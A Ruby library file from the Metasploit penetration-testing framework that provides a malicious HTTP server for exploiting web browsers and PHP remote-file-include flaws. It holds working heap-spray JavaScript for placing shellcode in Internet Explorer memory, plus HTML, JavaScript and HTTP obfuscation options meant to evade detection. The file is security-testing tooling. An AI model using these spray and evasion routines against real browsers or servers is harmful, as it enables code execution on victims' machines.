Files
metasploit-gs/lib/msf/core/exploit/http/server.rb
T
Tab Assassin 7e5e0f7fc8 Retab lib
2013-08-30 16:28:33 -05:00

1245 lines
38 KiB
Ruby
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# -*- coding: binary -*-
require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'
module Msf
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super
register_options(
[
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
], Exploit::Remote::HttpServer
)
register_evasion_options(
[
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
], Exploit::Remote::HttpServer
)
# Used to keep track of resources added to the service manager by
# this module. see #add_resource and #cleanup
@my_resources = []
@service_path = nil
end
#
# By default, all HTTP servers are not subject to automatic exploitation
#
def autofilter
false
end
#
# Thread-local client accessor
#
def cli
Thread.current[:cli]
end
#
# Thread-local client accessor
#
def cli=(cli)
Thread.current[:cli] = cli
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_line(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_status(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_line(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_status(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
# By default, all HTTP server mixins will try to use zlib.
#
def check_dependencies
use_zlib
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service(opts = {})
check_dependencies
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server service.
self.service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
self.service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
self.cli = cli
( self.respond_to?(:filter_request_uri) &&
filter_request_uri(cli, req)
) ? nil : on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
add_resource(uopts)
end
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
# specified by the user in URIPATH.
#
# @note This MUST be called from {#primer} so that the service has been set
# up but we have not yet entered the listen/accept loop.
#
# @param uri [String] The resource URI that should be handled by
# {#on_request_uri}.
# @return [void]
def hardcoded_uripath(uri)
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
vprint_status("Adding hardcoded uri #{uri}")
begin
add_resource({'Path' => uri, 'Proc' => proc})
rescue RuntimeError => e
print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.")
raise e
end
end
# Take care of removing any resources that we created
def cleanup
# Must dup here because remove_resource modifies @my_resources
@my_resources.dup.each do |resource|
remove_resource(resource)
end
super
end
#
# Return a Hash containing a best guess at the actual browser and operating
# system versions, based on the User-Agent header.
#
# Keys in the returned hash are similar to those expected of
# Report#report_client, and Msf::DBManager#report_host namely:
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
# +:os_name+:: one of the Msf::OperatingSystems constants
# +:os_flavor+:: something like "XP" or "Gentoo"
# +:os_lang+:: something like "English", "French", or "en-US"
# +:arch+:: one of the ARCH_* constants
#
# Unknown values may be nil.
#
def fingerprint_user_agent(ua_str)
fp = { :ua_string => ua_str }
# always check for IE last because everybody tries to
# look like IE
case (ua_str.downcase)
# Chrome tries to look like Safari, so check it first
when /chrome\/(\d+(:?\.\d+)*)/
# Matches, e.g.:
# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
fp[:ua_name] = HttpClients::CHROME
fp[:ua_ver] = $1
when /version\/(\d+(:?\.\d+)*)\s*safari/
fp[:ua_name] = HttpClients::SAFARI
fp[:ua_ver] = $1
when /firefox\/((:?[0-9]+\.)+[0-9]+)/
fp[:ua_name] = HttpClients::FF
fp[:ua_ver] = $1
when /opera\/(\d+(:?\.\d+)*)/
fp[:ua_name] = HttpClients::OPERA
fp[:ua_ver] = $1
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
fp[:ua_name] = HttpClients::IE
fp[:ua_ver] = $1
else
fp[:ua_name] = HttpClients::UNKNOWN
end
case (ua_str.downcase)
when /(en-us|en-gb)/
fp[:os_lang] = $1
end
case (ua_str.downcase)
when /windows/
fp[:os_name] = OperatingSystems::WINDOWS
fp[:arch] = ARCH_X86
when /linux/
fp[:os_name] = OperatingSystems::LINUX
when /iphone/
fp[:os_name] = OperatingSystems::MAC_OSX
fp[:arch] = 'armle'
when /mac os x/
fp[:os_name] = OperatingSystems::MAC_OSX
else
fp[:os_name] = OperatingSystems::UNKNOWN
end
case (ua_str.downcase)
when /windows 95/
fp[:os_flavor] = '95'
when /windows 98/
fp[:os_flavor] = '98'
when /windows nt 4/
fp[:os_flavor] = 'NT'
when /windows nt 5.0/
fp[:os_flavor] = '2000'
when /windows nt 5.1/
fp[:os_flavor] = 'XP'
when /windows nt 5.2/
fp[:os_flavor] = '2003'
when /windows nt 6.0/
fp[:os_flavor] = 'Vista'
when /windows nt 6.1/
fp[:os_flavor] = '7'
when /windows nt 6.2/
fp[:os_flavor] = '8'
when /gentoo/
fp[:os_flavor] = 'Gentoo'
when /debian/
fp[:os_flavor] = 'Debian'
when /ubuntu/
fp[:os_flavor] = 'Ubuntu'
when /fedora/
fp[:os_flavor] = 'Fedora'
when /red hat|rhel/
fp[:os_flavor] = 'RHEL'
when /android/
fp[:os_flavor] = 'Android'
else
fp[:os_flavor] = ''
end
case (ua_str.downcase)
when /ppc/
fp[:arch] = ARCH_PPC
when /x64|x86_64/
fp[:arch] = ARCH_X86_64
when /i.86|wow64/
# WOW64 means "Windows on Windows64" and is present
# in the useragent of 32-bit IE running on 64-bit
# Windows
fp[:arch] = ARCH_X86
when /android|iphone|ipod|ipad/
fp[:arch] = ARCH_ARMLE
else
fp[:arch] = ARCH_X86
end
fp
end
#
# Store the results of server-side User-Agent fingerprinting in the DB.
#
# Returns a Hash containing host and client information.
#
def report_user_agent(address, request, client_opts={})
fp = fingerprint_user_agent(request["User-Agent"])
host = {
:address => address,
:host => address,
}
host[:os_name] = fp[:os_name] if fp[:os_name]
host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor]
host[:arch] = fp[:arch] if fp[:arch]
host[:os_lang] = fp[:os_lang] if fp[:os_lang]
report_host(host)
client = {
:host => address,
:ua_string => request['User-Agent'],
}
client[:ua_name] = fp[:ua_name] if fp[:ua_name]
client[:ua_ver] = fp[:ua_ver] if fp[:ua_ver]
client.merge!(client_opts) if client_opts
report_client(client)
report_note(
:host => address,
:type => 'http.request',
:data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}",
:update => :unique_data
)
return host.merge(client)
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
# NOTE: Calling #add_resource will change the results of subsequent calls
# to #get_resource!
#
# @return (see Rex::Service#add_resource)
def add_resource(opts)
@service_path = opts['Path']
res = service.add_resource(opts['Path'], opts)
# This has to go *after* the call to service.add_resource in case
# the service manager doesn't like it for some reason and raises.
@my_resources.push(opts['Path'])
res
end
#
# Returns the last-used resource path
#
def get_resource
# We don't want modules modifying their service_path inadvertantly, so
# give them a dup. Can be nil during module setup.
@service_path ? @service_path.dup : nil
end
#
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
#
# The address portion should be something a client would be able to route,
# but see {#srvhost_addr} for caveats.
#
def get_uri(cli=self.cli)
ssl = !!(datastore["SSL"])
proto = (ssl ? "https://" : "http://")
if (cli and cli.peerhost)
host = Rex::Socket.source_address(cli.peerhost)
else
host = srvhost_addr
end
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
if (ssl and datastore["SRVPORT"] == 443)
port = ''
elsif (!ssl and datastore["SRVPORT"] == 80)
port = ''
else
port = ":" + datastore["SRVPORT"].to_s
end
uri = proto + host + port + get_resource
uri
end
#
# An address to which the client can route.
#
# If available, return LHOST which should be the right thing since it
# already has to be an address the client can route to for the payload to
# work. However, LHOST will only be available if we're using a reverse_*
# payload, so if we don't have it, try to use the client's peerhost
# address. Failing that, fall back to the addr with the default gateway.
# All of this will be for naught in the case of a user behind NAT using a
# bind payload but there's nothing we can do about it.
#
# NOTE: The address will be *incorrect* in the following two situations:
# 1. LHOST is pointed at a multi/handler on some other box.
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
# using a bind payload. In that case, we don't have an LHOST and
# the source address will be internal.
#
# This can potentially be dealt with in a module by using the Host header
# from a request if such a header exists.
#
# @return [String]
def srvhost_addr
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
host = datastore["LHOST"]
else
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
if (respond_to?(:sock) and sock and sock.peerhost)
# Then this is a Passive-Aggressive module. It has a socket
# connected to the remote server from which we can deduce the
# appropriate source address.
host = Rex::Socket.source_address(sock.peerhost)
else
# Otherwise, this module is only a server, not a client, *and*
# the payload does not have an LHOST option. This can happen,
# for example, with a browser exploit using a download-exec
# payload. In that case, just use the address of the interface
# with the default gateway and hope for the best.
host = Rex::Socket.source_address
end
else
host = datastore['SRVHOST']
end
end
host
end
#
# Removes a URI resource.
#
def remove_resource(name)
# Guard against removing resources added by other modules
if @my_resources.include?(name)
@my_resources.delete(name)
service.remove_resource(name)
end
end
#
# Closes a client connection.
#
def close_client(cli)
service.close_client(cli)
end
#
# Creates an HTTP response packet.
#
def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
res = Rex::Proto::Http::Response.new(code, message, proto);
res['Content-Type'] = 'text/html'
res
end
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response(cli, body, headers = {})
response = create_response
response['Content-Type'] = 'text/html'
response.body = body.to_s.unpack("C*").pack("C*")
if (datastore['HTTP::compression'])
self.use_zlib # make sure...
response.compress = datastore['HTTP::compression']
end
if (datastore['HTTP::chunked'] == true)
response.auto_cl = false
response.transfer_chunked = true
end
if (datastore['HTTP::header_folding'] == true)
response.headers.fold = 1
end
if (datastore['HTTP::junk_headers'] == true)
response.headers.junk_headers = 1
end
headers.each_pair { |k,v| response[k] = v }
cli.send_response(response)
end
#
# Sends a 302 redirect to the client
#
def send_redirect(cli, location='/', body='', headers = {})
response = create_response(302, 'Moved')
response['Content-Type'] = 'text/html'
response['Location'] = location
response.body = body.to_s.unpack("C*").pack("C*")
headers.each_pair { |k,v| response[k] = v }
cli.send_response(response)
end
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect(cli, location)
send_redirect(cli, get_resource + location)
end
#
# Sends a 404
#
def send_not_found(cli)
resp_404 = create_response(404, 'Not Found')
resp_404.body = %Q{\
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}
cli.send_response(resp_404)
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
return path
end
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
pcode = nil
# If the payload fails to generate for some reason, send a 403.
if ((pcode = super(cli, arch, platform, target)) == nil)
print_error("Failed to generate payload, sending 403.")
cli.send_response(
create_response(403, 'Forbidden'))
return nil
end
pcode
end
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
# Modules should override this method.
#
def on_request_uri(cli, request)
end
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
protected
def initialize(info = {})
super
register_evasion_options(
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
end
#
# Obfuscates symbols found within a javascript string.
#
# Returns an ObfuscateJS object
#
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
#
# Encrypts a given javascript string using the provided key.
#
# Returns a string containing the encrypted string and a loader
#
def encrypt_js(javascript, key)
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib(custom_js = '', opts = {})
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
end
def js_base64
js = <<-ENDJS
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
// variable names changed to make obfuscation easier
var Base64 = {
// private property
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// private method
_utf8_encode : function ( input ){
input = input.replace(/\\r\\n/g,"\\n");
var utftext = "";
var input_idx;
for (input_idx = 0; input_idx < input.length; input_idx++) {
var chr = input.charCodeAt(input_idx);
if (chr < 128) {
utftext += String.fromCharCode(chr);
}
else if((chr > 127) && (chr < 2048)) {
utftext += String.fromCharCode((chr >> 6) | 192);
utftext += String.fromCharCode((chr & 63) | 128);
} else {
utftext += String.fromCharCode((chr >> 12) | 224);
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
utftext += String.fromCharCode((chr & 63) | 128);
}
}
return utftext;
},
// public method for encoding
encode : function( input ) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var input_idx = 0;
input = Base64._utf8_encode(input);
while (input_idx < input.length) {
chr1 = input.charCodeAt( input_idx++ );
chr2 = input.charCodeAt( input_idx++ );
chr3 = input.charCodeAt( input_idx++ );
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
}
return output;
},
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var input_idx = 0;
var chr1 = 0;
var chr2 = 0;
var chr3 = 0;
while ( input_idx < utftext.length ) {
chr1 = utftext.charCodeAt(input_idx);
if (chr1 < 128) {
string += String.fromCharCode(chr1);
input_idx++;
}
else if((chr1 > 191) && (chr1 < 224)) {
chr2 = utftext.charCodeAt(input_idx+1);
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
input_idx += 2;
} else {
chr2 = utftext.charCodeAt(input_idx+1);
chr3 = utftext.charCodeAt(input_idx+2);
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
input_idx += 3;
}
}
return string;
}
};
ENDJS
opts = {
'Symbols' => {
'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
return js
end
#
# Downloads data using ajax
#
# Supported arguments:
# method => Optional. HTTP Verb (eg. GET/POST)
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
# must use a relative path, otherwise you will be blocked by the browser.
# data => Optional. Data to pass to the server
#
# Example of using the ajax_download() function:
# For IE, your web server has to return this header to download binary data:
# "text/plain; charset=x-user-defined"
# <script>
# #{js_ajax_download}
#
# ajax_download({path:"/test.bin"});
# </script>
#
def js_ajax_download
%Q|function ajax_download(oArg) {
method = oArg.method;
path = oArg.path;
data = oArg.data;
if (method == undefined) { method = "GET"; }
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(method, path, false);
xmlHttp.send(data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}
return null;
}
|
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
# pointers to strings that we control, and each string should reside in its own buffer.
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
# writing style, so make sure you have the following before using:
# * You must have the following at the beginning of your HTML file:
# <!doctype html>
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
# * You must have the following in <meta>:
# <meta>
# <?IMPORT namespace="t" implementation="#default#time2">
# </meta>
#
# The "mstime_malloc" JavaScript function supports the following arguments:
# shellcode => The shellcode to place.
# offset => Optional. The pointer index that points to the shellcode.
# heapBlockSize => Object size.
# objId => The ID to your ANIMATECOLOR element.
#
# Example of using "js_mstime_malloc":
# <script>
# #{js_mstime_malloc}
#
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
# offset = 3;
# s = 0x58;
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
# </script>
#
def js_mstime_malloc
%Q|
function mstime_malloc(oArg) {
shellcode = oArg.shellcode;
offset = oArg.offset;
heapBlockSize = oArg.heapBlockSize;
objId = oArg.objId;
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
if (offset == undefined) { offset = 0; }
if (heapBlockSize == undefined) { throw "Size must be defined"; }
buf = "";
for (i=0; i < heapBlockSize/4; i++) {
if (i == offset) {
if (i == 0) { buf += shellcode; }
else { buf += ";" + shellcode; }
}
else {
buf += ";##{Rex::Text.rand_text_hex(6)}";
}
}
e = document.getElementById(objId);
if (e == null) {
eleId = "#{Rex::Text.rand_text_alpha(5)}"
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
document.body.innerHTML = document.body.innerHTML + acTag;
e = document.getElementById(eleId);
}
try { e.values = buf; }
catch (e) {}
}
|
end
#
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
# publication on "DEPS Precise Heap Spray on Firefox and IE10". In IE, the shellcode
# should land at address 0x0c0d2020, as this is the most consistent location across
# various versions.
#
# The "sprayHeap" JavaScript function supports the following arguments:
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
# objId => Optional. The ID for a <div> HTML tag.
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
# heapBlockSize => Optional. Allocation size, default: 0x80000
# maxAllocs => Optional. Number of allocation calls, default: 0x350
#
# Example of using the 'sprayHeap' function:
# <script>
# #{spray}
#
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
# </script>
#
def js_property_spray
sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
js = %Q|
var #{sym_div_container};
function sprayHeap( oArg ) {
shellcode = oArg.shellcode;
offset = oArg.offset;
heapBlockSize = oArg.heapBlockSize;
maxAllocs = oArg.maxAllocs;
objId = oArg.objId;
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
if (offset == undefined) { offset = 0x00; }
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
if (maxAllocs == undefined) { maxAllocs = 0x350; }
if (offset > 0x800) { throw "Bad alignment"; }
#{sym_div_container} = document.getElementById(objId);
if (#{sym_div_container} == null) {
#{sym_div_container} = document.createElement("div");
}
#{sym_div_container}.style.cssText = "display:none";
var data;
junk = unescape("%u2020%u2020");
while (junk.length < offset+0x1000) junk += junk;
data = junk.substring(0,offset) + shellcode;
data += junk.substring(0,0x800-offset-shellcode.length);
while (data.length < heapBlockSize) data += data;
for (var i = 0; i < maxAllocs; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, (heapBlockSize-2)/2);
#{sym_div_container}.appendChild(obj);
}
}
|
end
def js_heap_spray
js = %Q|var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) {
memory[index] = retSlide + shellcode;
}
}
|
opts = {
'Symbols' => {
'Variables' => %w{ shellcode retSlide payLoadSize memory index
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
heapBlockCnt },
'Methods' => %w{ sprayHeap }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
return js
end
def js_os_detect
return ::Rex::Exploitation::JavascriptOSDetect.new
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html(cli, body, headers = {})
body = body.to_s.unpack("C*").pack("C*")
if datastore['HTML::base64'] != 'none'
case datastore['HTML::base64']
when 'plain'
body = Rex::Text.encode_base64(body)
when 'single_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'double_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'random_space_injection'
body = Rex::Text.encode_base64(body)
new = ''
while (body.size > 0)
new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore['HTML::javascript::escape'] > 0
datastore['HTML::javascript::escape'].times {
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
}
end
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when 'utf-16be-marker'
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
when 'utf-7-all'
headers['Content-Type'] = 'text/html; charset=utf-7'
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
when 'none'
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'
end
end
send_response(cli, body, headers)
end
end
###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
# Override TCPServer's stance of passive
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
register_evasion_options(
[
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
], Exploit::Remote::HttpServer::PHPInclude
)
end
# Since these types of vulns are Stance::Aggressive, override HttpServer's
# normal non-automatic behaviour and allow things to run us automatically
def autofilter
true
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# Override exploit() to handle service start/stop
#
# Disables SSL for the service since we always want to serve our evil PHP
# files from a non-ssl server. There are two reasons for this:
# 1. https is only supported on PHP versions after 4.3.0 and only if
# the OpenSSL extension is compiled in, a non-default configuration on
# most systems
# 2. somewhat less importantly, the SSL option would conflict with the
# option for our client connecting to the vulnerable server
#
def exploit
old_ssl = datastore["SSL"]
datastore["SSL"] = false
start_service
datastore["SSL"] = old_ssl
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")
# print_error("is safe to ignore this warning. If not, try using a")
# print_error("reverse payload instead of bind.")
#end
begin
print_status("PHP include server started.");
php_exploit
::IO.select(nil, nil, nil, 5)
rescue ::Interrupt
raise $!
ensure
stop_service
end
end
#
# Transmits a PHP payload to the web application
